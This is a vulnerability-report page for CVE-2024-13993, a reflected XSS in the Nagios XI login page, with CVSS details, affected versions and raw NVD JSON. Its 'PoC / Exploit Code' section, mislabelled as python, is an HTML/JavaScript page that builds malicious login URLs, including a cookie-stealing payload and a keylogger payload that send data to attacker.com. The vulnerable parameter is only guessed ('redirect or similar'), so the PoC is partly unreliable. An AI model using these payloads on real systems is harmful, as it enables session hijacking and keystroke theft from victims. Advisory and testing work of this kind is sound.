Security Vulnerability Report
中文
CVE-2024-13993 CVSS 6.1 MEDIUM

CVE-2024-13993

Published: 2025-10-30 22:15:45
Last Modified: 2025-11-06 16:18:51

Description

Nagios XI versions prior to < 2024R1.1.2 are vulnerable to a reflected cross-site scripting (XSS) via the login page when accessed with older web browsers. Insufficient validation or escaping of user-supplied input reflected by the login page can allow an attacker to craft a malicious link that, when visited by a victim, executes arbitrary JavaScript in the victim’s browser within the Nagios XI origin. The issue is observable under legacy browser behaviors; modern browsers may mitigate some vectors.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:nagios_xi:2024:r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:nagios_xi:2024:r1.0.1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:nagios_xi:2024:r1.1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:nagios_xi:2024:r1.1.1:*:*:*:*:*:* - VULNERABLE
Nagios XI < 2024R1.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2024-13993 PoC: Reflected XSS via login page --> <!-- Target: Nagios XI versions < 2024R1.1.2 --> <!-- Note: This vulnerability primarily affects legacy browsers --> <!DOCTYPE html> <html> <head> <title>CVE-2024-13993 PoC</title> </head> <body> <h1>CVE-2024-13993: Nagios XI Reflected XSS PoC</h1> <p><strong>Target:</strong> Nagios XI Login Page</p> <p><strong>Affected Versions:</strong> < 2024R1.1.2</p> <p><strong>Vulnerability Type:</strong> Reflected Cross-Site Scripting (XSS)</p> <h2>Malicious URL Examples:</h2> <h3>Example 1: Basic XSS Payload</h3> <code id="xss1"></code> <button onclick="copyToClipboard('xss1')">Copy URL</button> <h3>Example 2: Cookie Stealing Payload</h3> <code id="xss2"></code> <button onclick="copyToClipboard('xss2')">Copy URL</button> <h3>Example 3: Keylogger Payload</h3> <code id="xss3"></code> <button onclick="copyToClipboard('xss3')">Copy URL</button> <h2>Attack Scenario:</h2> <ol> <li>Attacker identifies a vulnerable Nagios XI installation (< 2024R1.1.2)</li> <li>Attacker crafts a malicious URL with XSS payload in login page parameter</li> <li>Attacker uses social engineering to trick victim into clicking the link</li> <li>Victim uses legacy browser to access the malicious URL</li> <li>Malicious JavaScript executes in victim's browser within Nagios XI context</li> <li>Attacker steals session cookies or performs actions on behalf of victim</li> </ol> <script> // Replace 'TARGET_URL' with actual Nagios XI URL const targetUrl = 'TARGET_URL'; // XSS Payloads const payload1 = '<script>alert("XSS by CVE-2024-13993")<\/script>'; const payload2 = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)"> '; const payload3 = '<script>document.addEventListener("keypress",function(e){new Image().src="https://attacker.com/log?k="+e.key})<\/script>'; // Construct malicious URLs (assuming vulnerable parameter is 'redirect' or similar) const maliciousUrl1 = targetUrl + '/nagiosxi/login.php?redirect=' + encodeURIComponent(payload1); const maliciousUrl2 = targetUrl + '/nagiosxi/login.php?redirect=' + encodeURIComponent(payload2); const maliciousUrl3 = targetUrl + '/nagiosxi/login.php?redirect=' + encodeURIComponent(payload3); document.getElementById('xss1').textContent = maliciousUrl1; document.getElementById('xss2').textContent = maliciousUrl2; document.getElementById('xss3').textContent = maliciousUrl3; function copyToClipboard(elementId) { const text = document.getElementById(elementId).textContent; navigator.clipboard.writeText(text); alert('URL copied to clipboard!'); } </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-13993", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:44.623", "lastModified": "2025-11-06T16:18:50.893", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to < 2024R1.1.2 are vulnerable to a reflected cross-site scripting (XSS) via the login page when accessed with older web browsers. Insufficient validation or escaping of user-supplied input reflected by the login page can allow an attacker to craft a malicious link that, when visited by a victim, executes arbitrary JavaScript in the victim’s browser within the Nagios XI origin. The issue is observable under legacy browser behaviors; modern browsers may mitigate some vectors."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "62CF7BF4-6AAA-443E-93B4-B2F080091C13"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1:*:*:*:*:*:*", "matchCriteriaId": "85F1764D-1DD8-44B0-BF5A-2420CB519A3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.0.1:*:*:*:*:*:*", "matchCriteriaId": "C1FE1A0B-78D1-4626-A4CD-21B843DA596E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.1:*:*:*:*:*:*", "matchCriteriaId": "C648B0A4-053C-4884-8A37-4AF03053ED1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.1.1:*:*:*:*:*:*", "matchCriteriaId": "893EEA99-0096-4C9F-BA8A-246A3E3F6C15"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.nagios.com/products/security/#nagios-xi", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-reflected-xss-via-login-page-on-older-browsers", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}